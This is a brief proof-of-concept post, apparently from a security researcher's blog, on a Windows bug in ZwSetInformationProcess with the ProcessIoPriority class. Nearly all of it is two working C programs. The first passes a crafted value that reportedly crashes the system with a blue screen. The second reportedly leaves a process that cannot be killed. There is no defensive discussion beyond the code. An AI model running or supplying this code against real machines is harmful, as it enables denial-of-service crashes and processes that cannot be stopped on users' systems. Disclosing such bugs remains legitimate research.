ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}